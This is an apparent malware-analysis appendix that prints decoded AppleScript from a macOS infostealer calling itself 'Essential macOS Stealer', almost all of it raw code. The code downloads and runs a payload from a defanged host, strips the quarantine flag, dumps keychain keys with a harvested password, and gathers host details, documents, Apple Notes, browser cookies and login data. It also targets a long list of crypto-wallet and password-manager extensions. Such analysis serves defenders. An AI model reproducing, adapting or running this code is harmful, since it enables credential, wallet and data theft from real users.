        set __EmAIWC22o0i to {".DS_Store", "Partitions", "Code Cache", "Cache", "market-history-cache.json", "journals", "Previews", "dumps", "emoji", "user_data", "__update__"}
        set __MlaOQ29BZ to {}
        try
            set __MlaOQ29BZ to paragraphs of (do shell script "/bin/ls -1 " & quoted form of __uByhiyt)
        end try
        if __MlaOQ29BZ is {} then return
        try
            do shell script "/bin/mkdir -p " & quoted form of __RB1mf5Vcqa
        on error
            return
        end try
        repeat with __gpoK2MFrS in __MlaOQ29BZ
            try
                set __SGpT93lQ to contents of __gpoK2MFrS
                if __SGpT93lQ is not "" and __SGpT93lQ is not in __EmAIWC22o0i then
                    set _jI668iqglzH to __uByhiyt & "/" & __SGpT93lQ
                    set __Hb1t0wEMLdC to __RB1mf5Vcqa & "/" & __SGpT93lQ
                    set __GDEqzx7M2 to false
                    try
                        set __GDEqzx7M2 to (do shell script "[ -d " & quoted form of _jI668iqglzH & " ] && echo 1 || echo 0") is "1"
                    end try
                    if __GDEqzx7M2 then
                        __xYyuPK8gff(_jI668iqglzH, __Hb1t0wEMLdC)
                    else
                        try
                            do shell script "/usr/bin/ditto " & quoted form of _jI668iqglzH & " " & quoted form of __Hb1t0wEMLdC
                        end try
                    end if
                end if
            end try
        end repeat
    end try
end __xYyuPK8gff

on _XRfswxtyRm(_ldRkiN6)
    set _bOGVpXUWb to "hxxps://payload1717[.]pro/es-arm"
    set __fQmJgxNknY to "hxxps://payload1717[.]pro/es-x86"
    set _YtZ9lhWPOU to "/tmp/22127d968c8a5ebd7e30e772541cf2ad1791723205-tool"
    set _R2yvbwLH to "extractor"
    set _p6j0y7QgkhH to POSIX path of (path to home folder) & ".passphrase"
    set __mbLNCVz7 to do shell script "cat " & quoted form of _p6j0y7QgkhH

    set __c6H1z0vNFxX to (do shell script "/usr/sbin/sysctl -n hw.optional.arm64 2>/dev/null || echo 0")
    if __c6H1z0vNFxX is "1" then
        set __Wrtjsga1BQ to _bOGVpXUWb
    else
        set __Wrtjsga1BQ to __fQmJgxNknY
    end if
    set _rXi3xOzi to _YtZ9lhWPOU & "/" & _R2yvbwLH

    do shell script "/bin/rm -rf " & quoted form of _YtZ9lhWPOU & " ; /bin/mkdir -p " & quoted form of _YtZ9lhWPOU & " ; /usr/bin/curl -fsSL --retry 5 --retry-delay 60 --retry-all-errors " & quoted form of __Wrtjsga1BQ & " -o " & quoted form of _rXi3xOzi & " ; /bin/chmod +x " & quoted form of _rXi3xOzi & " ; /usr/bin/xattr -dr com.apple.quarantine " & quoted form of _rXi3xOzi & " 2>/dev/null ; /usr/bin/codesign --force --sign - " & quoted form of _rXi3xOzi

    set _wTDV4WLpyyo to (do shell script "echo $HOME")
    set __GBw0yBbw to _wTDV4WLpyyo & "/.chainblob256"

    set _LvqwZGuWvCr to (do shell script "/bin/test -f " & quoted form of __GBw0yBbw & " && echo 1 || echo 0")
    if _LvqwZGuWvCr is "1" then
        do shell script "/bin/cp " & quoted form of __GBw0yBbw & " " & quoted form of (_ldRkiN6 & "/bkeylist")
        delay 10
    else
        do shell script quoted form of _rXi3xOzi & " dumpkeys -o " & quoted form of __GBw0yBbw & " --keychain-pw " & quoted form of __mbLNCVz7 & " 2>&1"
        delay 10
        do shell script "/bin/cp " & quoted form of __GBw0yBbw & " " & quoted form of (_ldRkiN6 & "/bkeylist")
    end if
    set _YND2yFxMVa to do shell script quoted form of _rXi3xOzi & " archive -o " & quoted form of _ldRkiN6 & "/browsers 2>&1"
    do shell script "/bin/rm -rf " & quoted form of _rXi3xOzi & " " & quoted form of _YtZ9lhWPOU
    delay 2
    return _YND2yFxMVa
end _XRfswxtyRm

on _Iva099Dp(_ldRkiN6, __vDdTDryz)
    try
        set _kgW8Dfg to "Error " & __fx5dRpFf & ": " & __qhTj22WNG
    on error
        set _kgW8Dfg to "Error: no data"
    end try
    set _ldRkiN6 to _ldRkiN6 as text
    if _ldRkiN6 does not start with "/" then set _ldRkiN6 to POSIX path of _ldRkiN6
    if _ldRkiN6 does not end with "/" then set _ldRkiN6 to _ldRkiN6 & "/"
    set __DGLX39bW87j to POSIX file (_ldRkiN6 & "runtimelog.txt")
    try
        set __hqcsnYHY to open for access __DGLX39bW87j with write permission
        write ((current date) as «class isot» as string) & " | " & __vDdTDryz & " | " & _kgW8Dfg & linefeed to __hqcsnYHY starting at eof as «class utf8»
    end try
    try
        close access __DGLX39bW87j
    end try
end _Iva099Dp

on __K7ig87bZFY(_ldRkiN6, _mLoKHus, __F8RAHDz1kV1, _ckZln59wv)
    set _iwkefP9raxb to _ldRkiN6
    set _ocZdvDSltei to do shell script "curl -fsSL --connect-timeout 5 -m 15 hxxp://api.ipify[.]org/ 2>/dev/null || echo 'failed to retrieve'"
    set __kDNHATp8 to do shell script "hostname 2>/dev/null || echo unknown"
    if _iwkefP9raxb starts with "~" then set _iwkefP9raxb to (POSIX path of (path to home folder)) & (text 2 thru -1 of _iwkefP9raxb)
    set _vuQDp4q to _iwkefP9raxb & "/Information.txt"
    with timeout of 300 seconds
        do shell script "mkdir -p " & quoted form of _iwkefP9raxb & "; { echo 'Essential macOS Stealer\n'; echo 'Build: " & _mLoKHus &  "'; echo 'Username: " & __F8RAHDz1kV1 &  "'; echo 'Password: " & _ckZln59wv &  "'; echo 'IP: " & _ocZdvDSltei &  "'; echo 'Hostname: " & __kDNHATp8 &  "\n'; system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType; } > " & quoted form of _vuQDp4q
    end timeout
end __K7ig87bZFY

on _gvhzbIXKm(_ldRkiN6)
    set __lI9PVmtc51d to {"txt", "json", "dat", "md", "cfg", "env", "wallet", "pdf", "ini"}
    set _VRvSTIBh4 to 0.5
    set _YlWgsGKsuU to 10
    set __OmfLJjHu to (_VRvSTIBh4 * 1048576) as integer
    set _eMG30JMhJ5 to (_YlWgsGKsuU * 1048576) as integer
    set _iwkefP9raxb to _ldRkiN6
    if _iwkefP9raxb starts with "~" then set _iwkefP9raxb to (POSIX path of (path to home folder)) & (text 2 thru -1 of _iwkefP9raxb)
    set __jNt1CVOyFxt to POSIX path of (path to desktop folder)
    set __wdrm8hViT to POSIX path of (path to documents folder)
    set __eRRknkh to POSIX path of (path to downloads folder)
    set _rW65whr to quoted form of __jNt1CVOyFxt & " " & quoted form of __wdrm8hViT & " " & quoted form of __eRRknkh
    set _vIWxI9JPSRz to ""
    repeat with _x1g7DDz5os in __lI9PVmtc51d
        if _vIWxI9JPSRz is not "" then set _vIWxI9JPSRz to _vIWxI9JPSRz & " -o "
        set _vIWxI9JPSRz to _vIWxI9JPSRz & "-iname " & quoted form of ("*." & (_x1g7DDz5os as text))
    end repeat
    set _vIWxI9JPSRz to "\\( " & _vIWxI9JPSRz & " \\)"
    set __DjR1MbFrn4 to "set -u; out=" & quoted form of _iwkefP9raxb & "; nm=\"FileGrabber\"; work=\"$out/$nm\"; mkdir -p \"$work\"; find " & _rW65whr & " -type f " & _vIWxI9JPSRz & " -size -" & (__OmfLJjHu as text) & "c -print0 2>/dev/null | xargs -0 stat -f '%z %N' 2>/dev/null | sort -n | awk -v cap=" & (_eMG30JMhJ5 as text) & " '{ if (t+$1<=cap){ t+=$1; sub(/^[0-9]+ /,\"\"); print } }' | while IFS= read -r f; do b=$(basename \"$f\"); d=\"$work/$b\"; if [ -e \"$d\" ]; then p=$(basename \"$(dirname \"$f\")\"); d=\"$work/${p}_$b\"; n=1; while [ -e \"$d\" ]; do d=\"$work/${p}_${n}_$b\"; n=$((n+1)); done; fi; cp -f \"$f\" \"$d\"; done; if [ -z \"$(find \"$work\" -type f -print -quit 2>/dev/null)\" ]; then rm -rf \"$work\"; exit 0; fi; tar -czf \"$work.tgz\" -C \"$out\" \"$nm\" && rm -rf \"$work\""
    set result to do shell script __DjR1MbFrn4
    return result
end _gvhzbIXKm

on _xLzlp2F(_ldRkiN6)
    set _iwkefP9raxb to _ldRkiN6
    if _iwkefP9raxb starts with "~" then set _iwkefP9raxb to (POSIX path of (path to home folder)) & (text 2 thru -1 of _iwkefP9raxb)
    set _OppGwG38mB to "
"
    with timeout of 3600 seconds
        tell application "Notes" to set __CKtHmV2gg0g to body of every note
    end timeout
    set AppleScript's text item delimiters to _OppGwG38mB
    set __LAJmjJfz to __CKtHmV2gg0g as text
    set AppleScript's text item delimiters to ""
    set __TgzWw6rPr to (do shell script "mktemp")
    set _Nm7OEkqC to open for access (POSIX file __TgzWw6rPr) with write permission
    set eof _Nm7OEkqC to 0
    write __LAJmjJfz to _Nm7OEkqC as «class utf8»
    close access _Nm7OEkqC
    do shell script "mkdir -p " & quoted form of _iwkefP9raxb
    do shell script "DIR=" & quoted form of _iwkefP9raxb & " perl -CSD -e 'local $/; my $data=<STDIN>; my @parts=split /\\036/,$data,-1; my @keep; for my $b (@parts){ my $s=$b; $s=~s{<\\s*br\\s*/?\\s*>}{\\n}gi; $s=~s{</\\s*(?:p|div|h[1-6]|li|tr|blockquote)\\s*>}{\\n}gi; $s=~s{<[^>]+>}{}g; $s=~s/&nbsp;/ /g; $s=~s/&lt;/</g; $s=~s/&gt;/>/g; $s=~s/&quot;/chr(34)/ge; $s=~s/&apos;/chr(39)/ge; $s=~s/&#(\\d+);/chr($1)/ge; $s=~s/&#x([0-9a-fA-F]+);/chr(hex($1))/ge; $s=~s/&amp;/&/g; $s=~s/[ \\t]+\\n/\\n/g; $s=~s/\\n{3,}/\\n\\n/g; $s=~s/^\\s+//; $s=~s/\\s+$//; push @keep,$s if $s=~/\\S/; } my $c=scalar @keep; if($c){ my $path=\"$ENV{DIR}/Notes ($c).txt\"; open(my $F,\">:encoding(UTF-8)\",$path) or die \"$!\"; print $F join(\"\\n\\n\".(\"=\" x 60).\"\\n\\n\",@keep); print $F \"\\n\"; close $F; }' < " & quoted form of __TgzWw6rPr
    do shell script "rm -f " & quoted form of __TgzWw6rPr
end _xLzlp2F

13.8 File 5: smodule module, decoded (excerpts)

C2 response to txid=…&smodule: 541 lines, 198,862 obfuscated bytes, SHA-256 04acace28e94f71f00576aa458b2fa6c8692e4a5064e18f00eeae099453f18ba. Decoded excerpts below; behaviour analysed in sections 9.3 and 9.5.

on __LFQDtdMVGw(__HQcrcI9cEf)
    try
        set _HOjUOP5T to quoted form of (POSIX path of __HQcrcI9cEf)
        do shell script "mkdir -p " & _HOjUOP5T
    end try
end __LFQDtdMVGw

on __fUJftcH(__j7vQU6Z3FIB)
    try
        set _vrEBPjFRCM to offset of "/" in (reverse of every character of __j7vQU6Z3FIB) as string
        set __ivykbhjt1 to text 1 thru -(_vrEBPjFRCM + 1) of __j7vQU6Z3FIB
        return __ivykbhjt1
    end try
end __fUJftcH

on _ueOMKLgRVv(_nYQqwLSXbA, __j7vQU6Z3FIB)
    try
        set __EyXUQVAMi to __fUJftcH(__j7vQU6Z3FIB)
        __LFQDtdMVGw(__EyXUQVAMi)
        set _AYiCMlsR to (open for access __j7vQU6Z3FIB with write permission)
        write _nYQqwLSXbA to _AYiCMlsR starting at eof
        close access _AYiCMlsR
    end try
end _ueOMKLgRVv

on _OXSXInNB(_hrJ0YGOvm00, _gI8INnUZ6)
    try
        set _wmBiaxh to read _hrJ0YGOvm00
        set __EyXUQVAMi to __fUJftcH(_gI8INnUZ6)
        __LFQDtdMVGw(__EyXUQVAMi)
        do shell script "cat " & quoted form of _hrJ0YGOvm00 & " > " & quoted form of _gI8INnUZ6
    end try
end _OXSXInNB

on __GkdDFjN(__HQcrcI9cEf)
    try
        set _HOjUOP5T to quoted form of (POSIX path of __HQcrcI9cEf)
        set __dTaJbfs to (do shell script "file -b " & _HOjUOP5T)
        if __dTaJbfs ends with "directory" then
            return true
        end if
        return false
    end try
end __GkdDFjN

on __MdWxziDRCC(__BL0hLJH05f, _eHJEN3dJ)
    try
        set __zaNkeWLWB to {".DS_Store", "Partitions", "Code Cache", "Cache", "market-history-cache.json", "journals", "Previews", "dumps", "emoji", "user_data", "__update__"}
        set _h54IS3S to list folder __BL0hLJH05f without invisibles
        __LFQDtdMVGw(_eHJEN3dJ)
        repeat with _hePMGGB in _h54IS3S
            if _hePMGGB is not in __zaNkeWLWB then
                set _OVgP9NUprun to __BL0hLJH05f & "/" & _hePMGGB
                set _D82koK3 to _eHJEN3dJ & "/" & _hePMGGB
                if __GkdDFjN(_OVgP9NUprun) then
                    __MdWxziDRCC(_OVgP9NUprun, _D82koK3)
                else
                    _OXSXInNB(_OVgP9NUprun, _D82koK3)
                end if
            end if
        end repeat
    end try
end __MdWxziDRCC

on __bjyLxZqQSJS(__cIfMxuga, _D82koK3, _VbbdenHpt, index)
    try
        set _h54IS3S to list folder __cIfMxuga without invisibles
        repeat with _CB4wlcx in _h54IS3S
            repeat with __HC4UHL7c in _VbbdenHpt
                set _ycwfupX to item 1 of __HC4UHL7c
                set __EDf1dBeFNU to item 2 of __HC4UHL7c
                if (_CB4wlcx contains _ycwfupX) then
                    set _juu6UrNQ5I to __cIfMxuga & _CB4wlcx
                    set __UIM7FNYx8c9 to _D82koK3 & "_" & __EDf1dBeFNU
                    if index then
                        set __UIM7FNYx8c9 to __UIM7FNYx8c9 & "/IndexedDB/"
                    end if
                    __MdWxziDRCC(_juu6UrNQ5I, __UIM7FNYx8c9)
                end if
            end repeat
        end repeat
    end try
end __bjyLxZqQSJS

on __x4472Tmbg(__ZS38UKzd, _a2xzyduP6z)
    try
        set _inanHlUtN to {{"nkbihfbeogaeaoehlefnkodbefgpgknn", "Metamask Wallet"}, {"egjidjbpglichdcondbcbdnbeeppgdph", "Trust Wallet"}, {"cjmkndjhnagcfbpiemnkdpomccnjblmj", "Finnie Wallet"}, {"hifafgmccdpekplomjjkcfgodnhcellj", "Crypto.com Wallet"}, {"kamfleanhcmjelnhaeljonilnmjpkcjc", "InspectCrypto Wallet"}, {"fdcnegogpncmfejlfnffnofpngdiejii", "Razor Wallet"}, {"klnaejjgbibmhlephnhpmaofohgkpgkd", "ZilPay Wallet"}, {"pdadjkfkgcafgbceimcpbkalnfnepbnk", "KardiaChain Wallet"}, {"kjjebdkfeagdoogagbhepmbimaphnfln", "Ultra Wallet"}, {"ldinpeekobnhjjdofggfgjlcehhmanlj", "Leather Wallet"}, {"dkdedlpgdmmkkfjabffeganieamfklkm", "Cyano Wallet"}, {"bcopgchhojmggmffilplmbdicgaihlkp", "Hycon Lite Client Wallet"}, {"kpfchfdkjhcoekhdldggegebfakaaiog", "FRWT Wallet"}, {"idnnbdplmphpflfnlkomgpfbpcgelopg", "Xverse Wallet"}, {"mlhakagmgkmonhdonhkpjeebfphligng", "ABC Wallet"}, {"bipdhagncpgaccgdbddmbpcabgjikfkn", "Clown Wallet"}, {"nhnkbkgjikgcigadomkphalanndcapjk", "CLV Wallet"}, {"bhhhlbepdkbapadjdnnojkbgioiodbic", "Solflare Wallet"}, {"klghhnkeealcohjjanjjdaeeggmfmlpl", "Zerion Wallet"}, {"ebfidpplhabeedpnhjnobghokpiioolj", "Fewcha Move Wallet"}, {"emeeapjkbcbpbpgaagfchmcgglmebnen", "Surf Wallet"}, {"fldfpgipfncgndfolcbkdeeknbbbnhcc", "MyTonWallet"}, {"penjlddjkjgpnkllboccdgccekpkcbin", "OpenMask Wallet"}, {"fhilaheimglignddkjgofkcbgekhenbh", "Oxygen Atomic Wallet"}, {"hmeobnfnfcmdkdcmlblgagmfpfboieaf", "Ctrl Wallet"}, {"gjnckgkfmgmibbkoficdidcljeaaaheg", "Atomic Wallet"}, {"cihmoadaighcejopammfbmddcmdekcje", "LeafWallet"}, {"omaabbefbmiijedngplfjmnooppbclkk", "TonKeeper Wallet"}, {"jnlgamecbpmbajjfhmmmlhejkemejdma", "Braavos Bitcoin Wallet"}, {"fpkhgmpbidmiogeglndfbkegfdlnajnf", "Cosmostation Wallet"}, {"amkmjjmmflddogmhpjloimipbofnfjih", "Wombat Gaming Wallet"}, {"flpiciilemghbmfalicajoolhkkenfel", "ICONex Wallet"}, {"aeachknmefphepccionboohckonoeemg", "Coin98 Wallet"}, {"momakdpclmaphlamgjcndbgfckjfpemp", "BitMask Wallet"}, {"mnfifefkajgofkcjkemidiaecocnkjeh", "TezBox Wallet"}, {"ehjiblpccbknkgimiflboggcffmpphhp", "XcelPay Wallet"}, {"ilhaljfiglknggcoegeknjghdgampffk", "Beam Web Wallet"}, {"pgiaagfkgcbnmiiolekcfmljdagdhlcm", "Stargazer Wallet"}, {"fnjhmkhhmkbjkkabndcnnogagogbneec", "Ronin Wallet"}, {"bfnaelmomeimhlpmgjnjophhpkkoljpa", "Phantom Wallet"}, {"imlcamfeniaidioeflifonfjeeppblda", "NC Wallet"}, {"ppdadbejkmjnefldpcdjhnkpbjkikoip", "ROSE Wallet"}, {"cgeeodpfagjceefieflmdfphplkenlfk", "EVER Wallet"}, {"dlcobpjiigpikoobohmabehhmhfoodbb", "Ready Wallet"}, {"jiidiaalihmmhddjgbnbgdfflelocpak", "Bitget Wallet"}, {"bocpokimicclpaiekenaeelehdjllofo", "XDCPay Wallet"}, {"pocmplpaccanhmnllbbkpgfliimjljgo", "Slope Wallet"}, {"cphhlgmgameodnhkjdmkpanlelnlohao", "NeoLine"}, {"mcohilncbfahbmgdjkbpemcciiolgcge", "OKX Wallet"}, {"bopcbmipnjdcdfflfgjdgdjejmgpoaab", "BlockWallet"}, {"khpkpbbcccdmmclmpigdgddabeilkdpd", "Suiet Sui Wallet"}, {"ejjladinnckdgjemekebdpeokbikhfci", "Petra Aptos Wallet"}, {"phkbamefinggmakgklpkljjmgibohnba", "Pontem Crypto Wallet"}, {"epapihdplajcdnnkdeiahlgigofloibg", "Sender Wallet"}, {"hpclkefagolihohboafpheddmmgdffjm", "Flow Wallet"}, {"cjookpbkjnpkmknedggeecikaponcalb", "XTON Wallet"}, {"cpmkedoipcpimgecpmgpldfpohjplkpp", "Gate Wallet"}, {"modjfdjcodmehnpccdjngmdfajggaoeh", "Vanta Wallet"}, {"ibnejdfjmmkpcnlpebklmnkoeoihofec", "TronLink"}, {"afbcbjpbpfadlkmhmclhkeeodmamcflc", "MathWallet"}, {"kncchdigobghenbbaddojjnnaogfppfj", "iWallet"}, {"efbglgofoippbgcjepnhiblaibcnclgk", "Martian Aptos Wallet"}, {"fccgmnglbhajioalokbcidhcaikhlcpm", "Zapit Wallet"}, {"apnehcjmnengpnmccpaibjmhhoadaico", "CWallet"}, {"mgffkfbidihjpoaomajlbgchddlicgpn", "Pali Wallet"}, {"fopmedgnkfpebgllppeddmmochcookhc", "Suku Wallet"}, {"jojhfeoedkpkglbfimdfabpdfjaoolaf", "Polymesh Wallet"}, {"abkahkcbhngaebpcgfmhkoioedceoigp", "Casper Wallet"}, {"gkeelndblnomfmjnophbhfhcjbcnemka", "Bitverse Wallet"}, {"pnndplcbkakcplkjnolgbkdgjikjednm", "Tronium Tron Wallet"}, {"ellkdbaphhldpeajbepobaecooaoafpg", "ASI Alliance Wallet"}, {"mdnaglckomeedfbogeajfajofmfgpoae", "Energy8 Wallet"}, {"nknhiehlklippafakaeklbeglecifhad", "Nabox Wallet"}, {"ckklhkaabbmdjkahiaaplikpdddkenic", "Internet Money Wallet"}, {"fmblappgoiilbgafhjklehhfifbdocee", "Forbole X Wallet"}, {"nphplpgoakhhjchkkhmiggakijnkhfnd", "TON Wallet"}, {"cnmamaachppnkjgnildpdmkaakejnhae", "Auro Wallet"}, {"fijngjgcjhjmmpcmkeiomlglpeiijkld", "Talisman Wallet"}, {"lbjapbcmmceacocpimbpbidpgmlmoaao", "Metalet Wallet"}, {"hnfanknocfeofbddgcijnmhnfnkdnaad", "Coinbase Wallet"}, {"hpglfhgfnhbgpjdenjgmdgoeiappafln", "Guarda Wallet"}, {"ibljocddagjghmlpgihahamcghfggcjc", "Virgo Wallet"}, {"gkodhkbmiflnmkipcmlhhgadebbeijhh", "Soter Aleo Wallet"}, {"dbgnhckhnppddckangcjbkjnlddbjkna", "Fin Wallet For Sei"}, {"mfhbebgoclkghebffdldpobeajmbecfk", "StarMask Wallet"}, {"nlgbhdfgdhgbiamfdfmbikcdghidoadd", "Byone Wallet"}, {"acmacodkjbdgmoleebolmdjonilkdbch", "Rabby Wallet"}, {"agoakfejjabomempkjlepdflaleeobhb", "Core Wallet"}, {"dgiehkgfknklegdhekgeabnhgfjhbajd", "Komodo Wallet"}, {"onhogfjeacnfoofkfgppdlbmlmnplgbn", "SubWallet Polkadot Wallet"}, {"jaooiolkmfcmloonphpiiogkfckgciom", "Twetch Wallet"}, {"ojggmchlghnjlapmfbnjholfjkiidbch", "Venom Wallet"}, {"pmmnimefaichbcnbndcfpaagbepnjaig", "FoxWallet"}, {"oiohdnannmknmdlddkdejbmplhbdcbee", "ScaleWallet"}, {"aiifbnbfobpmeekipheeijimdpnlpgpp", "Station Wallet"}, {"anokgmphncpekkhclmingpimjmcooifb", "Compass Wallet for Sei"}, {"kkpllkodjeloidieedojogacfhpaihoh", "Enkrypt Wallet"}, {"iokeahhehimjnekafflcihljlcjccdbe", "Alby Wallet"}, {"ifckdpamphokdglkkdomedpdegcjhjdp", "ONTO Wallet"}, {"loinekcabhlmhjjbocijdoimmejangoa", "Glass wallet"}, {"fcfcfllfndlomdhbehjjcoimbgofdncg", "Leap Wallet"}, {"ifclboecfhkjbpmhgehodcjpciihhmif", "Klever Wallet"}, {"dmkamcknogkgcdfhhbddcghachkejeap", "Keplr Wallet"}, {"ookjlbkiijinhpmnjffcofjonbfbgaoc", "Temple Wallet"}, {"oafedfoadhdjjcipmcbecikgokpaphjk", "CoinWallet"}, {"mapbhaebnddapnmifbbkgeedkeplgjmf", "Biport Wallet"}, {"cmndjbecilbocjfkibfbifhngkdmjgog", "Swash Wallet"}, {"lgmpcpglpngdoalbgeoldeajfclnhafa", "SafePal Wallet"}, {"ppbibelpcjmhbdihakflkdcoccbgbkpo", "UniSat Wallet"}, {"ffnbelfdoeiohenkjibnmadjiehjhajb", "Yoroi"}, {"opcgpfmipidbgpenhmajoajpbobppdil", "Slush Sui wallet"}, {"lnnnmfcpbkafcpgdilckhmhbkkbpkmid", "Koala Wallet"}, {"nbdhibgjnjpnkajaghbffjbkcgljfgdi", "Ramper Wallet"}, {"kmhcihpebfmpgmihbkipmjlmmioameka", "Eternl Wallet"}, {"kmphdnilpmdejikjdnlbcnmnabepfgkh", "OsmWallet"}, {"iidjkmdceolghepehaaddojmnjnkkija", "IOTA Wallet"}, {"ablmompanofnodfdkgchkpmphailefpb", "Miden Wallet"}, {"pdgbckgdncnhihllonhnjbdoighgpimk", "Wallet Guard"}, {"kennjipeijpeengjlogfdjkiiadhbmjl", "PWR Wallet"}, {"mlbnicldlpdimbjdcncnklfempedeipj", "Yours Wallet"}, {"dngmlblcodfobpdpecaadgfbcggfjfnm", "MultiversX Wallet"}, {"gjkdbeaiifkpoencioahhcilildpjhgh", "Parti Wallet"}, {"bifidjkcdpgfnlbcjpdkdcnbiooooblg", "Fuelet Wallet"}, {"cflgahhmjlmnjbikhakapcfkpbcmllam", "OORT Wallet"}, {"ehgjhhccekdedpbkifaojjaefeohnoea", "Ambire Web3 Wallet"}, {"pcndjhkinnkaohffealmlmhaepkpmgkb", "Meteor Wallet"}, {"jblndlipeogpafnldhgmapagcccfchpi", "Kaia Wallet"}, {"cgeeodpfagjceefieflmdfphplkenlfk", "EVER Wallet"}, {"jojhfeoedkpkglbfimdfabpdfjaoolaf", "Polymesh Wallet"}, {"anokgmphncpekkhclmingpimjmcooifb", "Compass Wallet for Sei"}, {"mnnkpffndmickbiakofclnpoiajlegmg", "Concordium Wallet"}, {"lccbohhgfkdikahanoclbdmaolidjdfl", "Wigwam Web3 Wallet"}, {"pdliaogehgdbhbnmkklieghmmjkpigpa", "Bybit Wallet"}, {"nhlnehondigmgckngjomcpcefcdplmgc", "Fearless Wallet"}, {"mpeengabcnhhjjgleiodimegnkpcenbk", "HOT Wallet"}, {"blcaacmeglnfblclocdgaomhopnfobof", "TAP Wallet"}, {"mfgccjchihfkkindfppnaooecgfneiii", "TokenPocket"}, {"jfdlamikmbghhapbgfoogdffldioobgl", "Hana Wallet"}, {"pgiaagfkgcbnmiiolekcfmljdagdhlcm", "Stargazer Wallet"}, {"nebnhfamliijlghikdgcigoebonmoibm", "Leo Wallet"}, {"nfinomegcaccbhchhgflladpfbajihdf", "GU Wallet"}, {"aflkmfhebedbjioipglgcbcmnbpgliof", "Backpack Wallet"}, {"cgddkajmbckbjbnondgfcbcojjjdnmji", "Mavryk Wallet"}, {"jiiigigdinhhgjflhljdkcelcjfmplnd", "Mango Wallet"}, {"dldjpboieedgcmpkchcjcbijingjcgok", "Fuel Wallet"}, {"aholpfdialjgjfhomihkjbmgjidlcdno", "Exodus Web3 Wallet"}, {"omajpeaffjgmlpmhbfdjepdejoemifpe", "xBull Wallet"}, {"fdchdcpieegfofnofhgdombfckhbcokj", "Puzzle Aleo Wallet"}, {"kfdniefadaanbjodldohaedphafoffoh", "Typhon Wallet"}, {"bfeplaecgkoeckiidkgkmlllfbaeplgm", "Radix Wallet Connector"}, {"flhpobcpjeilaheadnpdkkinakogbdhb", "HashPass Wallet"}, {"mkpegjkblkkefacfnmkajcjmabijhclg", "Magic Eden Wallet"}, {"heamnjbnflcikcggoiplibfommfbkjpj", "Zeal Wallet"}, {"iledlaeogohbilgbfhmbgkgmpplbfboh", "Jupiter Wallet"}, {"ocjobpilfplciaddcbafabcegbilnbnb", "XPLA Vault Wallet"}, {"ieldiilncjhfkalnemgjbffmpomcaigi", "Portal DEX"}, {"bofddndhbegljegmpmnlbhcejofmjgbn", "eckoWALLET"}, {"bedogdpgdnifilpgeianmmdabklhfkcn", "VESPR Wallet"}, {"gafhhkghbfjjkeiendhlofajokpaflmk", "Lace Wallet"}, {"andhndehpcjpmneneealacgnmealilal", "HaHa Wallet"}, {"jnmbobjmhlngoefaiojfljckilhhlhcj", "OneKey Wallet"}, {"bgfhmafjampalkbjicjcjiikhlaggdnm", "Noone Wallet"}, {"jbkgjmpfammbgejcpedggoefddacbdia", "Parallel wallet"}, {"lmkncnlpeipongihbffpljgehamdebgi", "DPal Wallet"}, {"hfbglbedehonhmcljhlomlbjgmblieip", "LuckyCoin Wallet"}, {"nieddmedbnibfkfokcionggafcmcgkpi", "Arcana Wallet"}, {"cfbfdhimifdmdehjmkdobpcjfefblkjm", "Plug Wallet"}, {"enbnpdbkfjdnhlepfeaaahegcggljhdh", "Bitway Wallet"}, {"einhphiffjfjogeofkpclobkcgennocm", "UMI Wallet"}, {"fiehfolhefpnoihmfggndpmibfgbpico", "Volt Wallet"}, {"pfccjkejcgoppjnllalolplgogenfojk", "Tomo Wallet"}, {"lbenhokjibnlmfdhbgeacnocgmjegfab", "EternalWallet"}, {"bdgmdoedahdcjmpmifafdhnffjinddgc", "Bittensor Wallet"}, {"gdokollfhmnbfckbobkdbakhilldkhcj", "Alephium Wallet"}, {"jnldfbidonfeldmalbflbmlebbipcnle", "Bitfinity Wallet"}, {"ejbidfepgijlcgahbmbckmnaljagjoll", "Salmon Wallet"}, {"ghlmndacnhlaekppcllcpcjjjomjkjpg", "Wizz Wallet"}, {"ibjflpbmadchofnbpppegdbnifdgincp", "DID Wallet"}, {"miccfnlbijkmbckaagllchcfknjhgfnk", "Speed Bitcoin Lightning Wallet"}, {"idpdilbfamoopcfofbipefhmmnflljfi", "FACT wallet"}, {"lpnfhpbpmlobjlgkdmnjieeihjmihhjd", "Console Wallet"}}
        set _lDH2o88E to {{"pejdijmoenmkgeppbflobdenhhabjlaj", "iCloud Passwords"}, {"hdokiejnpimakedhajhdlcegeplioahd", "LastPass Password Manager"}, {"aeblfdkhhhdcdjpifhhbdiojplfjncoa", "1Password"}, {"kmbjcfefmceiibhnddbeenklcmpehmdd", "TweakPass"}, {"eiaeiblijfjekdanodkjadfinkhbfgcd", "NordPass"}, {"bfogiafebfohielmmehodmfbbebbbpei", "Keeper"}, {"ghmbeldphafepmbegfdlkpapadhbakde", "Proton Pass"}, {"nngceckbapebfimnlniiiahkandclblb", "Bitwarden"}, {"mmhlniccooihdimnnjhamobppdhaolme", "Kee Password"}, {"cnlhokffphohmfcddnibpohmkdfafdli", "MultiPassword"}, {"nhhldecdfagpbfggphklkaeiocfnaafm", "saaspass-dot-com"}, {"bnfdmghkeppfadphbnkjcicejfepnbfe", "Sticky Password"}, {"hifbblnjfcimjnlhibannjoclibgedmd", "MasterPassword"}, {"kmcfomidfpdkfieipokbalgegidffkal", "Enpass Password Manager"}, {"fdjamakpfbbddfjaooikfcpapjohcfmg", "Dashlane Password Manager"}, {"bhghoamapcdpbohphigoooaddinpkbai", "Authenticator"}}
        set _P2wNwN1j to {"/Network/Cookies", "/Cookies", "/Web Data", "/Login Data", "/History", "/Local Extension Settings/", "/IndexedDB/"}
        repeat with __x4472Tmbg in _a2xzyduP6z
            set _D82koK3 to __ZS38UKzd & "Browsers/" & item 1 of __x4472Tmbg & "_"
            set __AkfVic6YI to item 1 of __x4472Tmbg & "_"
            try
                set _h54IS3S to list folder item 2 of __x4472Tmbg without invisibles
                repeat with _hePMGGB in _h54IS3S
                    if ((_hePMGGB as string) is equal to "Default") or ((_hePMGGB as string) contains "Profile") then
                        repeat with __KLDZVCAFer in _P2wNwN1j
                            set _KAPcbtYjNSo to (item 2 of __x4472Tmbg & _hePMGGB & __KLDZVCAFer)
                            if ((__KLDZVCAFer as string) is equal to "/Network/Cookies") then
                                set __KLDZVCAFer to "/Cookies"
                            end if
                            if ((__KLDZVCAFer as string) is equal to "/Local Extension Settings/") then
                                __bjyLxZqQSJS(_KAPcbtYjNSo, __ZS38UKzd & "Wallets/" & __AkfVic6YI & _hePMGGB, _inanHlUtN, false)
